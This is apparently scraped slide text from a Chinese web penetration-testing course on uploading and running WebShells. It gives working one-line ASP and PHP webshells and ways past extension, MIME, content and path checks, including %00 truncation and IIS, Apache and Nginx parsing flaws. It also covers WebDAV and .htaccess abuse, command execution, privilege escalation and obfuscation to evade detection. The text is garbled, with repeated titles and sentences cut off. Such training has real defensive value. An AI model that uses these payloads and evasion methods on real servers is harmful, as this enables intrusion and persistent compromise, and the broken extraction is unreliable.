深信服應用層安全培訓-Web滲透測試系列-X-文課件_第1頁
深信服應用層安全培訓-Web滲透測試系列-X-文課件_第2頁
深信服應用層安全培訓-Web滲透測試系列-X-文課件_第3頁
深信服應用層安全培訓-Web滲透測試系列-X-文課件_第4頁
深信服應用層安全培訓-Web滲透測試系列-X-文課件_第5頁
已閱讀5頁,還剩209頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

Web滲透測試系列_X_WebShell上傳Web滲透測試系列_X_WebShell上傳整體框架WebShell上傳探測階段WebShell上傳利用階段執(zhí)行WebShellWebShell提權防御與逃逸常用工具總結培訓提綱整體框架培訓提綱整體框架整體框架概述WebShell上傳主要包括探測和利用階段,具體如下:探測階段:該階段主要是搜集可測試點,以方便下一步的利用。利用階段:該階段主要是利用探測的漏洞上傳并執(zhí)行WebShell。概述WebShell上傳主要包括探測和利用階段,具體如下:WebShell上傳滲透測試框架WebShell上傳滲透測試框架WebShell上傳探測階段WebShell上傳探測階段WebShell上傳探測階段原理說明收集過程WebShell上傳探測階段原理說明原理說明上傳探測階段沒有什么原理,主要是搜集可探測點,常見的可測試點包括應用程序上傳功能(諸如上傳頭像、附件上傳等)、用戶可控的輸入點或者參數(頁面POST表單部分、url參數、sql注入點等)、HTTP開啟的方法(諸如WebDAV)等,收集可測試點的過程中,應盡量確保覆蓋范圍,不遺漏每一個可測試點,搜集過程推薦使用WVS工具spider功能。原理說明上傳探測階段沒有什么原理,主要是搜集可探測點,常見的收集過程利用WVS的spider工具收集可測試點,如下圖:spider發(fā)現(xiàn)了危險的上傳目錄(紅框1處)、開啟了WebDAV方法等漏洞,根據掃描結果方便接下來依據不同結果進行利用。另外有些可測試點WVS的spider是爬不出來,包括內斂sql注入點、不允許爬蟲掃描的上傳目錄等,這些只能靠手工探測。收集過程利用WVS的spider工具收集可測試點,如下圖:WebShell上傳利用階段WebShell上傳利用階段簡介直接上傳WebShell繞過客戶端檢測上傳WebShell繞過服務端文件擴展名檢測上傳WebShell繞過服務端MIME類型檢測上傳WebShell繞過文件內容檢測上傳WebShell繞過服務端目錄路徑檢測上傳WebShell利用服務器漏洞上傳WebShell利用sql注入上傳WebShell利用WebDAV上傳WebShell利用.htaccess文件上傳WebShell簡介直接上傳WebShell直接上傳WebShell探測到上傳點后,接下來進入上傳WebShell步驟,假如服務器端對用戶提交參數或者文件沒有進行過濾或者過濾不當,則能夠直接上傳WebShell,那么接下來進入執(zhí)行WebShell步驟即可。直接上傳WebShell探測到上傳點后,接下來進入上傳Web繞過客戶端檢測上傳WebShell客戶端檢測即通過用戶請求返回頁面部分的js腳本驗證用戶的輸入,該檢測在客戶端檢測,具有該檢測方法的明顯表現(xiàn)是在用戶上傳文件到服務器之前客戶端js會進行檢測,假如不符合檢測要求會提示相應錯誤,接下來舉例說明,并列舉出相應的繞過方法。繞過客戶端檢測上傳WebShell客戶端檢測即通過用戶請求返繞過客戶端檢測上傳WebShell服務器端含有檢測js腳本的文件UPLOAD_CS_1.aspx代碼如下圖上圖紅框1處是服務器端返回用戶請求頁面中用于檢測客戶端上傳文件類型的js腳本,該客戶端驗證要求只能上傳.txt和.docx兩種類型,紅框2處是使用onmouseover事件觸發(fā)check_file函數。繞過客戶端檢測上傳WebShell服務器端含有檢測js腳本的繞過客戶端檢測上傳WebShell輸入:http://[IP]/UPLOAD_CS_1.aspx,同時上傳1.jpg文件,頁面返回如下圖:繞過客戶端檢測上傳WebShell輸入:http://[IP繞過客戶端檢測上傳WebShell上圖中鼠標剛放到“上傳文件”按鈕便彈出了一個警告對話框,由此易知這種情況是客戶端js檢驗,查看返回頁面的的源代碼:如上圖可以確定此種情況是客戶端js驗證。繞過客戶端檢測上傳WebShell上圖中鼠標剛放到“上傳文件繞過客戶端檢測上傳WebShell接下來使用代理工具繞過客戶端驗證,例如上傳1.asp文件,先將文件名改為1.txt,代開burpsuite代理工具,點擊“上傳文件”按鈕,burpsuite截獲如下圖:繞過客戶端檢測上傳WebShell接下來使用代理工具繞過客戶繞過客戶端檢測上傳WebShell把上圖紅框處1.txt改為1.asp,然后點擊“forward”按鈕,查看服務器端Files文件夾,如下圖。從上圖可以得出結論利用代理工具成功繞過客戶端驗證繞過客戶端檢測上傳WebShell把上圖紅框處1.txt改為繞過服務端文件擴展名檢測上傳WebShell服務器端文件擴展名檢測是指服務器端應用程序通過檢測用戶上傳文件的后綴名從而做出允許或者阻止的一種方法,該方法包含黑名單和白名單兩種形式,具體如下:黑名單檢測:一般是建立一個專門的blacklist文件,里面枚舉常見的危險文件后綴。白名單檢測:一般是定義一個允許或者阻止用戶上傳文件類型的后綴的文件,里面枚舉相應的文件后綴。繞過服務端文件擴展名檢測上傳WebShell服務器端文件擴展繞過黑名單檢測方法文件名大小寫繞過用向AsP、Aspx之類的文件名繞過黑名單檢測;名單列表繞過用黑名單里沒有的名單進行攻擊,iis默認執(zhí)行.asp、.asa、.cer,有時候黑名單過濾不全沒有過濾掉像后綴為asa、cer之類的,但這些文件可以像asp文件一樣執(zhí)行,此時可以使用這些后綴繞過黑名單。繞過黑名單檢測方法文件名大小寫繞過繞過黑名單檢測方法特殊文件名繞過比如發(fā)送的HTTP包里把文件名改成test.asp.或test.asp_(下劃線為空格),這兩種命名方式在windows系統(tǒng)里是不被允許的,所以需要在代理工具burpsuite進行修改,然后繞過驗證后,會被windows系統(tǒng)自動去掉后面的點和空格,但注意Unix/Linux系統(tǒng)沒有此特性。0x00截斷在許多語言的常用字符串處理函數中,0x00被認為是終止符,比如應用只允許上傳jpg圖片,那么可以構造文件名為2.asp%00.jpg,.jpg繞過了應用的上傳文件類型判斷,但對于服務器來說,此文件因為%00字符截斷的關系,最終會以2.asp存入路徑里。繞過黑名單檢測方法特殊文件名繞過繞過白名單檢測方法0x00截斷基于白名單檢查主要使用0x00截斷繞過,同黑名單0x00截斷繞過,接下來舉例說明。服務器端白名單檢測文件為UPLOAD_CS.aspx.cs,部分代碼如下圖繞過白名單檢測方法0x00截斷繞過白名單檢測方法上圖紅框處枚舉了允許上傳gif、GIF、swf、SWF后綴文件,該部分為該代碼的白名單檢測部分,同時該文件用白名單規(guī)定了不允許上傳后綴文件,如下圖如上圖可以看出使用了白名單規(guī)定了不允許上傳后綴為asp、aspx以及dll的文件,接下來實驗使用%00繞過驗證,具體如下繞過白名單檢測方法上圖紅框處枚舉了允許上傳gif、GIF、s繞過白名單檢測方法輸入:http://[IP]/UPLOAD_CS_2.aspx,如果直接上傳2.asp文件,頁面返回如下圖上圖顯示上傳后綴為asp的文件失敗,把上傳文件名改為2.asp.%00.jpg,繼續(xù)上傳,頁面返回如圖繞過白名單檢測方法輸入:http://[IP]/UPLOAD繞過白名單檢測方法上圖顯示上傳后綴為asp的文件失敗,把上傳文件名改為2.asp.%00.jpg,繼續(xù)上傳,頁面返回如圖從上圖可以得出結論成功上傳2.asp%00.jpg文件,.jpg繞過了應用的白名單檢測,但對于服務器來說,由于后臺某些函數作用(諸如CreateTextFile()),此文件會被%00字符截斷,最終會以2.asp存入路徑里。繞過白名單檢測方法上圖顯示上傳后綴為asp的文件失敗,把上傳繞過服務端MIME類型檢測上傳WebShell有時候僅僅對文件名后綴進行判斷并不能有效阻止惡意文件的上傳(比如某服務器只允許上傳jpg文件格式,不允許上傳后綴為php等文件,但是把后綴為php改為后綴為jpg上傳到服務器,某些情況下也能執(zhí)行上傳文件),因此對文件格式進行檢測十分必要,也就是服務器端MIME類型檢測。服務器端MIME類型檢測asp、aspx利用response對象的ContentType屬性,php利用$_FILES[‘userfile’][‘type’]、jsp也使用response對象的ContentType屬性(與asp類似)。繞過服務端MIME類型檢測上傳WebShell有時候僅僅對文繞過服務端MIME類型檢測上傳WebShell接下來以aspx為例通過檢測http包的content-type字段的值來判斷上傳文件是否合法,實驗使用的服務器端文件為mime.aspx,部分代碼如下圖。上圖紅框處使用POSTFile對象的ContentType屬性,限定只允許上傳application/zip類型。繞過服務端MIME類型檢測上傳WebShell接下來以asp繞過服務端MIME類型檢測上傳WebShell輸入:http://[IP]/mime.aspx,上傳文件2.asp文件,頁面返回如下圖。上圖返回錯誤頁面,提示“不支持的mime文件”,接下來使用burpsuite攔截請求,如下圖。繞過服務端MIME類型檢測上傳WebShell輸入:http繞過服務端MIME類型檢測上傳WebShell修改圖上圖中紅框處為application/zip,再次上傳2.asp文件,查看files文件夾(該文件夾為上傳文件默認目錄),頁面返回下圖。上圖頁面返回顯示2.asp文件上傳成功。繞過服務端MIME類型檢測上傳WebShell修改圖上圖中紅繞過文件內容檢測上傳WebShell文件內容檢測即通過檢測特定文件某些特殊標志位來判斷是否是允許上傳的文件,比如以后綴為jpg圖片文件為例,該文件頭有一組特殊二進制數標識FFD8FFE000104A464946(這些二進制數也叫文件幻數),那么就可以通過判斷上傳文件的文件頭來驗證文件的類型。其實檢測文件幻數只是檢測的一項內容,還可以對文件相關信息、文件渲染加載后檢測,面對這些檢測,可以把一句話木馬注入圖片文件最后面,這樣既實現(xiàn)了代碼注入也不會破壞圖片結構,具體步驟如下:代碼注入圖片引用創(chuàng)建的文件使用客戶端連接一句話木馬繞過文件內容檢測上傳WebShell文件內容檢測即通過檢測特代碼注入圖片首先準備圖片picture.jpg,然后把asp一句話木馬(諸如<%execute(request(“value”))%>)插入圖片最后,如下圖所示上圖紅框1出為標識jpg文件的幻數,紅框2處為植入的一句話木馬,把該圖片上傳到服務器端。代碼注入圖片首先準備圖片picture.jpg,然后把asp引用創(chuàng)建的文件同時創(chuàng)建一個引用包含一句話木馬的圖片的文件picture.asp,代碼如下:<!--#includefile="picture.jpg"-->把該文件上傳到服務器端(這里之所以先上傳jpg文件,再上傳一個引用上傳jpg的asp文件,主要目的是為了隱藏一句話木馬的目的)。引用創(chuàng)建的文件同時創(chuàng)建一個引用包含一句話木馬的圖片的文件pi使用客戶端連接一句話木馬客戶端代碼c1.html代碼如下圖:其中Adodb.Stream是ADO的Stream對象,提供存取二進制數據或者文本流,從而實現(xiàn)對流的讀、寫和管理等操作。使用客戶端連接一句話木馬客戶端代碼c1.html代碼如下圖:使用客戶端連接一句話木馬該代碼主要是服務器端一句話木馬s1.asp接收c1.html第一個textarea里的值生成一個newmm.asp大馬文件,同時利用lP.writetextrequest("CMD")接收第二個textarea大馬內容寫入newmm.asp文件里,這樣直接訪問newmm.asp文件,即獲得了WebShell。使用瀏覽器打開客戶端c1.html,如圖下圖所示使用客戶端連接一句話木馬該代碼主要是服務器端一句話木馬s1.使用客戶端連接一句話木馬上圖紅框處為海洋2005木馬,點擊提交后,訪問上傳木馬,如下圖。如上圖可知上傳WebShell成功。使用客戶端連接一句話木馬上圖紅框處為海洋2005木馬,點擊提繞過服務端目錄路徑檢測上傳WebShell服務器端目錄路徑檢測即對用戶提交目錄路徑參數進行檢測,有時候檢測不夠嚴謹而導致可以用%00截斷進行攻擊,該漏洞的本質同黑名單檢測%00截斷本質一樣,但該漏洞要求服務器端應用程序具有處理用戶提交的目錄路徑參數函數,不具有通用性,這里僅介紹下原理。以fckeditorphp<=2.6.4任意文件上傳漏洞為例,存在漏洞代碼如下圖繞過服務端目錄路徑檢測上傳WebShell服務器端目錄路徑檢繞過服務端目錄路徑檢測上傳WebShell輸入:/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gifHPPT/1.0CurrentFolder這個變量的值會傳到上圖有漏洞代碼ServerMapFolder($resourceType,$folderPath,$sCommand)中的形參$folderPath里,而$folderPath在這個函數中并沒做任何檢測,就傳入CombinePaths()函數,同時變量CurrentFolder中%00后面的會被截斷,實際上傳的是fuck.php。繞過服務端目錄路徑檢測上傳WebShell輸入:利用過濾不完全上傳WebShell利用過濾不完全把一句木馬寫入服務器端是目前得到WebShell的最為主要的方法之一,該方法分為兩步,具體如下:上傳一句話木馬:常見的一句話木馬分為asp一句話、aspx一句話、php一句話以及jsp一句話,它們工作原理大致類似,這里以asp一句話木馬為例,代碼為:<%executerequest("value")%>使用客戶端連接上傳大馬:客戶端代碼使用繞過文件內容檢測上傳c1.html。利用過濾不完全上傳WebShell利用過濾不完全把一句木馬寫上傳一句話木馬使用上傳頁面上傳一句話木馬如下:上圖為上傳WebShell的上傳頁面。上傳一句話木馬使用上傳頁面上傳一句話木馬如下:使用客戶端連接上傳大馬使用瀏覽器打開客戶端c1.html,如下圖上圖紅框處為海洋2005木馬,點擊提交后,訪問上傳木馬,如圖下從上圖可知獲得了一個WebShell,其實小馬上傳成功后是不需要再上傳大馬了,通過POST表單方式傳遞給小馬照樣可以執(zhí)行大馬(即大馬在內存中執(zhí)行),且隱藏性更強。使用客戶端連接上傳大馬使用瀏覽器打開客戶端c1.html,如利用服務器漏洞上傳WebShell解析漏洞產生是由于webserver本身特性功能設計存在缺陷造成的漏洞,如果加以利用,將會變成威力巨大的武器,本節(jié)內容如下:IIS6.0解析漏洞1IIS6.0解析漏洞2IIS7.0/7.5解析漏洞Apache文件解析漏洞Nginx解析漏洞利用服務器漏洞上傳WebShell解析漏洞產生是由于webIIS6.0解析漏洞1此洞原理是處理文件擴展名出錯,導致將/.*asp/目錄下的所有文件都作為asp文件進行解析。此外具有此特性的不單單是類似/.*asp/目錄,還包括/.*cer/、/.*asa/、/.*cdx/、/.*cer\(此種類型瀏覽器直接輸入不允許,需要借助burpsuite工具)、/.*asa\、/.*cdx\目錄,本例子以/.*asp/目錄舉例。IIS6.0解析漏洞1此洞原理是處理文件擴展名出錯,導致將/IIS6.0解析漏洞1假如服務器端存在一個文件名為test.asp目錄,且在該目錄建立實驗文件2.jpg,代碼如下圖:輸入:http://[IP]/test.asp/2.jpg,頁面返回如下圖所示。從上圖可知2.jpg文件被IIS6.0解釋執(zhí)行了。IIS6.0解析漏洞1假如服務器端存在一個文件名為test.IIS6.0解析漏洞2該漏洞的原理是IIS6.0不能正確夠解析文件名包含分號(;)的文件,因此諸如2.asp;xx.jpg類似的文件會被解析成2.asp可執(zhí)行文件,從而導致腳本被執(zhí)行。此外具有此特性的不單單是類似2.asp;xx.jpg,還包括2.cer;xx.jpg、2.asa;xx.jpg、2.cdx;xx.jpg類型,本例子以2.asp;xx.jpg類型舉例。服務器端新建立一個文件名為2.asp;xx.jpg的文件,內容與漏洞1中2.jpg文件內容一樣,輸入:http://[IP]/2.asp;.jpg,頁面返回如下圖。從上圖可知2.asp;xx.jpg文件得以執(zhí)行。IIS6.0解析漏洞2該漏洞的原理是IIS6.0不能正確夠解IIS7.0/7.5解析漏洞IIS7.0/7.5是對php解析時有一個解析漏洞,只要在url后面追加上字符串"/任意文件名.php"就會按照php的方式去解析,其實這個漏洞是出自php-cgi的漏洞,與IIS7.0/7.5本身無關,具體例子如下。服務器端test.jpg代碼為:<?phpecho"HelloWorld";?>輸入:http://[IP]/test.jpg/noexist.php,會將test.jpg當做php進行解析,其中noexist.php是不存在的文件(但后綴必須是.php),頁面返回如下圖所示從上圖可知test.jpg中的代碼得到了執(zhí)行。IIS7.0/7.5解析漏洞IIS7.0/7.5是對phpApache文件解析漏洞Apache對于文件名的解析是從后往前解析的,直到遇見一個apache認識的文件類型為止,比如phpshell.php.rar.rar,由于apache不認識.rar文件類型,所以會一直遍歷后綴直到.php,然后認為這是個php類型的文件,這樣的話可以上傳一個包含一句話木馬文件名類似phpshell.php.rar.rar的文件,訪問該文件將會被當成php文件解析執(zhí)行,具有此漏洞的版本包括:Apache2.2.11、Apache2.2.17、Apache2.2.6、Apache2.0.59、Apache2.2.8,接下來以Apache2.0.59為例,具體如下。Apache文件解析漏洞Apache對于文件名的解析是從后往Apache文件解析漏洞訪問:http://[IP]/phpinfo.php,查看務器apache版本號上傳phpshell.php.rar.rar,其包含菜刀一句話木馬:<?php@eval($_POST['chopper']);?>Apache文件解析漏洞訪問:http://[IP]/phpApache文件解析漏洞上傳phpshell.php.rar.rar到(默認上傳到upload文件夾下),使用菜刀連接該一句話木馬如下圖使用菜刀文件管理功能,打開如下圖從上圖可知文件phpshell.php.rar.rar被解析成php文件進行執(zhí)行了。Apache文件解析漏洞上傳phpshell.php.rarNginx解析漏洞該漏洞是對一個任意文件名,在后面添加/任意文件名.php的解析漏洞,比如源文件名為nginx.jpg,可以添加成nginx.jpg/x.php,nginx就會把nginx.jpg當成php文件來解析,其實可以說說這個漏洞與nginx本身關系不大,nginx只是作為一個代理把請求轉發(fā)給fastcgiserver,php在后端處理這一切,漏洞原因在fasgcgi方式下,php獲取環(huán)境變量的方式有關,該漏洞官方沒有補丁,php認為是一個新特性,為預防該漏洞官方建議修改php.ini文件中cgi.fix_pathinfo為0,具體例子如下。Nginx解析漏洞該漏洞是對一個任意文件名,在后面添加/任意Nginx解析漏洞nginx.jpg包含php代碼:<?php@eval(phpinfo());?>,把該文件上傳到服務器端/upload下,訪問:http://[IP]/nginx.jpg/a.php,使用菜刀文件管理,如下圖所示從上圖可知nginx.jpg文件被作為php文件進行了解析。nginx還有一個自身的漏洞,就是它可以對任意文件名后面添加%00.php當成php文件來解析,該漏洞出現(xiàn)在nginx較低版本,包括nginx0.5.*、nginx0.6.*、nginx0.7<=0.7.65、nginx0.8<=0.8.37,這些版本比較低不做詳細實驗。Nginx解析漏洞nginx.jpg包含php代碼:<?ph利用sql注入上傳WebShell利用sql注入漏洞寫入服務器端是比較常用的,這里以mssql為例子,在sysadmin權限下可以利用xp_cmdshell、xp_cmdshell存儲過程獲得WebShell,在db_owner下可以利用差異備份獲得WebShell,此類方法具體可參考Web滲透測試_Mssql注入分析說明書中存儲過程章節(jié),這里不做詳細敘述。利用sql注入上傳WebShell利用sql注入漏洞寫入服務利用WebDAV上傳WebShellWebDAV大大擴展了HPPT協(xié)議中的GET、POST、HEAD等功能,利用其中的PUT、MOVE方法可以上傳并修改上傳的文件,從而獲得WebShell,具體步驟如下:通過OPTIONS探測服務器信息利用PUT方法上傳文件通過MOVE方法修改上傳文件名執(zhí)行修改后的文件利用WebDAV上傳WebShellWebDAV大大擴展了H通過OPTIONS探測服務器信息使用burpsuite構造一個POST請求,POST負載是自己構造的腳本,具體如下圖所示:通過OPTIONS探測服務器信息使用burpsuite構造一通過OPTIONS探測服務器信息上圖中紅框處為負載即需要上傳的腳本,然后把POST方法修改為OPTIONS方法,返回頁面如下圖所示:上圖紅框處可知系統(tǒng)支持PUT、MOVE方法通過OPTIONS探測服務器信息上圖中紅框處為負載即需要上傳利用PUT方法上傳文件修改步驟1構造的POST表單方法為PUT方法,如下圖所示:由上圖紅框處可知上傳文件成功利用PUT方法上傳文件修改步驟1構造的POST表單方法為PU通過MOVE方法修改上傳文件名同樣步驟1構造的POST表單方法為MOVE方法,但必須添加Destination頭,具體如下圖所示:使用MOVE原文件3.txt為3.asp,頁面返回如下圖通過MOVE方法修改上傳文件名同樣步驟1構造的POST表單方執(zhí)行修改后的文件輸入:http://[IP]/3.asp,頁面返回如下圖:如上圖可知執(zhí)行了上傳并修改后的文件。執(zhí)行修改后的文件輸入:http://[IP]/3.asp,頁利用.htaccess文件上傳WebShell.htaccess文件的作用主要是對主配置文件沒有訪問權限,但又想改變某目錄配置情況下使用,假如服務器端沒有過濾后綴為.htaccess文件,那么攻擊者可以構造該文件修改所在目錄文件的配置,比如修改該文件下含“haha”字符串的所有文件按照php文件來解析,那么攻擊者在上傳構造的.htaccess文件后,再上傳仍以后綴只有包含“haha”字符串的一句話木馬文件,該文件會被當成php文件解析,具體步驟如下:建立特定.htaccess文件建立一句話木馬文件上傳上述文件,并使用菜刀連接利用.htaccess文件上傳WebShell.htacce建立特定.htaccess文件建一個.htaccess文件,指定同目錄下只要文件內包含字符串“haha“,無論該文件后綴是什么都會當成php文件進行解析,該文件.htaccess具體如下圖:上圖中SetHandler指令的作用是當這個指令放入.htaccess或<Directory>或<Location>配置段中時,這個指令將強制所有匹配的文件通過handler-name指定的處理器處理,該例子中凡是文件中包含“haha“字段文件都會按照php文件進行解析。建立特定.htaccess文件建一個.htaccess文建立一句話木馬文件建立一句話木馬文件php-WebShell-haha.txt,其代碼如下圖:上圖是菜刀連接的一句話木馬。建立一句話木馬文件建立一句話木馬文件php-WebShell上傳WebShell上傳.htaccess和php-WebShell-haha.txt文件到upload文件夾下,訪問php-WebShell-haha.txt文件,如下圖:使用菜刀連接該一句話木馬,如下圖所示使用菜刀的鏈接可知成功連接了一句話木馬,具體如下:上傳WebShell上傳.htaccess和php-Web執(zhí)行WebShell執(zhí)行WebShell簡介尋找上傳的WebShell在asp環(huán)境下運行命令在php環(huán)境下運行命令在jsp環(huán)境下運行命令在其它腳本

環(huán)境下運行命令簡介尋找上傳的WebShell尋找上傳的WebShell完成上傳WebShell并不意味著可以一定執(zhí)行,有時候WebShell是上傳成功了,但是找到上傳路徑是一件很費力的事,以下分兩種情況介紹,具體如下:情況1情況2尋找上傳的WebShell完成上傳WebShell并不意味著情況1利用諸如上傳頭像、上傳文件等上傳點上傳WebShell(包括直接上傳、繞過客戶端、繞過服務器端文件擴展名、繞過mime類型、繞過文件內容檢測、利用過濾不全),此種情況上傳文件完成后一般會向用戶反饋上傳文件的完整url,即使不反饋,這些路徑也很容易猜測出來,例如常見的目錄有/photo、/image、/upload等。情況1利用諸如上傳頭像、上傳文件等上傳點上傳WebShell情況2此類尋找上傳WebShell更加方便(包括利用服務器漏洞、利用sql注入以及利用WebDAV上傳WebShell),接下來分別介紹怎樣尋找上傳WebShell的路徑,具體如下:利用服務器漏洞上傳WebShell:該方法IIS6.0解析漏洞1事先探知服務器端存在諸如test.asp類型目錄,這種情況上傳前是知道上傳目錄的。IIS6.0解析漏洞2以及IIS7.0/IIS7.5類似,是事先探知服務器使用IIS6.0或者IIS7.0/IIS7.5,這種情況上傳文件完成后一般會向用戶反饋上傳文件的完整url,不反饋只能靠猜測。利用sql注入漏洞上傳WebShell:該方法一般都是先探測好站點主目錄以及主目錄下一個具有可寫權限文件后,才向該文件傳入一個WebShell,因此此種類型不存在上傳后找不到上傳的WebShell的情況。利用WebDAV上傳WebShell:該方法同利用sql注入漏洞上傳WebShell,也是先探測好站點主目錄以及主目錄下一個具有可寫權限文件后,才向該文件傳入一個WebShell。情況2此類尋找上傳WebShell更加方便(包括利用服務器漏在asp環(huán)境下運行命令由于VBScript與JavaScript腳本本身變成能力有限,當拿到一個asp的WebShell時,想運行命令,一般使用以下組件:wscript.shell組件shell.application組件在asp環(huán)境下運行命令由于VBScript與JavaScr使用wscript.shell組件執(zhí)行系統(tǒng)命令,有時候服務器會在注冊表中修改該組件對應的名稱,沒有真正的卸載或者刪除,因此程序中調用該組件使用其classid,classid值在不同系統(tǒng)下有所不同,常見值有兩種分別是72C24DD5-D70A-438B-8A42-98424B88AFB8和F935DC22-1CF0-11D0-ADB9-00C04FD58A0B。服務器端asp_wscript.asp代碼如下圖所示wscript.shell組件使用wscript.shell組件執(zhí)行系統(tǒng)命令,有時候服務器接下來輸入:http://[IP]/asp_wscript.asp,頁面返回如圖6-2所示。從圖6-2可知,服務器端程序執(zhí)行了用戶輸入的命令,不過使用該組件也有局限性,當用戶以匿名用戶訪問的時候提示沒有權限,改為administrator時候程序才可以執(zhí)行。wscript.shell組件接下來輸入:http://[IP]/asp_wscript.使用shell.application組件具體參考海陽頂端2005α版源代碼,部分代碼如圖下圖所示。輸入:http://[IP]/newmm.asp,頁面返回如下圖所示上圖紅框處可知海洋木馬使用shell.application組件執(zhí)行了用戶輸入的命令。shell.application組件使用shell.application組件具體參考海陽頂端2在aspx環(huán)境下運行命令與VBScript與JavaScript腳本不同,.net具有強大的函數庫,因此它的運行不依賴與注冊表的特性,因此aspx環(huán)境下運行命令方法更加靈活,常見的如下:Process.Start()方法wscript.shell組件shell.application組件在aspx環(huán)境下運行命令與VBScript與JavaScrProcess.Start()方法Process.Start()方法的作用是啟動(或重用)此process組件的StartInfo屬性指定的進程資源,并將其與該組件關聯(lián)。服務器端aspx_process.aspx部分代碼如下圖所示Process.Start()方法Process.StartProcess.Start()方法輸入:http://[IP]/aspx_process.aspx,頁面返回如下圖從上圖紅框處可知,服務器端程序執(zhí)行了用戶輸入的命令。Process.Start()方法輸入:http://[IP使用wsipt.shell組件服務器端aspx_wsipt.aspx部分如下圖所示輸入:http://[IP]/aspx_wsipt.aspx,可知命令得了執(zhí)行,具體如下圖使用wsipt.shell組件服務器端aspx_wsipt.使用shell.application組件服務器端aspx_shell.aspx代碼如下使用shell.application組件服務器端aspx使用shell.application組件輸入:http://[IP]/aspx_shell.aspx,頁面返回如下圖所示上圖輸入命令/cecho^<%evalrequest(“chopper”)%^>>>C:\test1\WebShell\123.asp”,向服務器應用程序目錄下寫入菜刀一句話木馬,使用菜刀連接一句話木馬,如下圖所示使用shell.application組件輸入:http:在php環(huán)境下運行命令與asp、aspx相比,php功能更加強大,使用更加靈活,主要包括如下:使用自身函數使用wsipt.shell組件在php環(huán)境下運行命令與asp、aspx相比,php功能更使用自身函數該方法中使用的函數使用方法類似,都是把用戶提交的參數傳到這些函數,然后該函數執(zhí)行用戶提交的命令,這里寫到一個程序php_fuction.php中,具體如下圖所示:使用自身函數該方法中使用的函數使用方法類似,都是把用戶提交的使用自身函數上圖圖列出了使用函數system()、exec()、passthru()、shell_exec()、popen()、proc_open()執(zhí)行系統(tǒng)命令方式。接下以system為例(其它類似)輸入:http://[IP]/php_fuction.php?system=dir,頁面返回如下圖。使用自身函數上圖圖列出了使用函數system()、exec(使用wsipt.shell組件服務器端php_wsipt.php如下圖所示。輸入:http://[IP]/php_wsipt.php?wscript=dir,頁面返回如下圖所示。使用wsipt.shell組件服務器端php_wsipt.p在jsp環(huán)境下運行命令Jsp環(huán)境下執(zhí)行系統(tǒng)命令一般使用Runtime.getRuntime().exec(command)方法,服務器端jsp_fuction.jsp如下圖:在jsp環(huán)境下運行命令Jsp環(huán)境下執(zhí)行系統(tǒng)命令一般使用Ru在jsp環(huán)境下運行命令Jsp環(huán)境下執(zhí)行系統(tǒng)命令一般使用Runtime.getRuntime().exec(command)方法,服務器端jsp_fuction.jsp如下圖:輸入:http://[IP]/jsp_fuction.jsp?cmd=ipconfig,頁面返回如下圖在jsp環(huán)境下運行命令Jsp環(huán)境下執(zhí)行系統(tǒng)命令一般使用Ru在其它腳本環(huán)境下運行命令除了上述介紹的asp、aspx、php、jsp先如今比較流行的環(huán)境外,還有CGI等環(huán)境下,由于這些環(huán)境現(xiàn)在使用較少,不做詳細敘述,以perl的system()函數為,服務器端cgi_perl.pl代碼在其它腳本環(huán)境下運行命令除了上述介紹的asp、aspx、ph在其它腳本環(huán)境下運行命令接下來輸入:http://[IP]/cgi_perl.pl,頁面返回如下圖在其它腳本環(huán)境下運行命令接下來輸入:http://[IP]/WebShell提權WebShell提權簡介利用開放的服務提權利用軟件特性提權利用軟件溢出提權利用宿主系統(tǒng)DLL提權利用DBA提權利用HASH提權利用網絡嗅探提權利用系統(tǒng)及軟件漏洞提權社會工程學提權簡介利用開放的服務提權利用開放的服務提權當獲得WebShell后,首先應該先查看下宿主系統(tǒng)開啟了哪些服務,這些服務很可能方便的提供系統(tǒng)權限提升的機會,這些服務包括:ftp、pcanywhere、遠程桌面、vnc、ssh等。這些服務一般情況下是為了方便管理員維護服務使用,所以權限相對較高,如果其采用了弱密碼,則可以輕松獲得權限提升。利用開放的服務提權當獲得WebShell后,首先應該先查看下利用軟件特性提權這里主要指利用宿主系統(tǒng)的WEB應用軟件特性,諸如命令執(zhí)行、權限控制、目錄訪問、目錄穿越、配置特點等來提升權限,由于該方法局限性太強,不做詳細介紹。利用軟件特性提權這里主要指利用宿主系統(tǒng)的WEB應用軟件特性,利用宿主系統(tǒng)DLL提權這種方法使用Windows2003的IIS服務自帶的基于命令行下的IIS管理腳本文件是Adsutil.vbs,將目標DLL加入到特權行列從而獲得權限的提升。利用宿主系統(tǒng)DLL提權這種方法使用Windows2003的利用DBA提權利用DBA提權的方法一般適合SQL注入滲透的情況,在獲取了主機數據庫權限后可以通過特定數據庫的特定函數和方法將應用程序或者配置文件寫入到特定目錄里,從而實現(xiàn)提權。利用DBA提權利用DBA提權的方法一般適合SQL注入滲透的情利用HASH提權該方法是破解系統(tǒng)中hash加密的用戶名或者密碼從而獲取權限的提升,針對hash的破解可分針對系統(tǒng)hash的破解(windows:sam文件、類Unix:passwd/shadow文件)和針對宿主軟件hash的破解。利用HASH提權該方法是破解系統(tǒng)中hash加密的用戶名或者密利用系統(tǒng)軟件這里主要是利用操作系統(tǒng)的一些邏輯錯誤、解析漏洞、DLL劫持以及應用系統(tǒng)漏洞進行提權。利用系統(tǒng)軟件這里主要是利用操作系統(tǒng)的一些邏輯錯誤、解析漏洞、利用網絡嗅探提權網絡嗅探可以直接獲取各種服務在網絡上的用戶名、密碼或者hash,甚至是cookie劫持,從而獲得權限的提升。利用網絡嗅探提權網絡嗅探可以直接獲取各種服務在網絡上的用戶名社會工程學提權社會工程學提權是相對比較高效的提權方法。它主要通過分析主機使用者的社會關系、使用習慣及使用環(huán)境規(guī)律等綜合分析出關鍵字集合,通過一定的組合運算用于系統(tǒng)服務密碼的破解。社會工程學提權社會工程學提權是相對比較高效的提權方法。它主要防御與逃逸防御與逃逸簡介防御逃逸簡介防御防御目前防火墻中有防御WebShell的特征,主要是從WebShell的上傳以及響應兩個方面進行阻斷。防御目前防火墻中有防御WebShell的特征,主要是從Web逃逸常見逃逸方法如下:加密敏感代碼:使用諸如vbscrip.encode,、jscrip.encode、javascrip.encode、base64_decode、gzinflate、gzuncompress、str_rot13等加密一些敏感代碼逃逸被查殺。修改源碼:有時候通過更改變量名、函數名也可以達到免殺的目的。逃逸常見逃逸方法如下:工具工具簡介中國菜刀海陽頂端ASP木馬C/S模式轉換器簡介中國菜刀中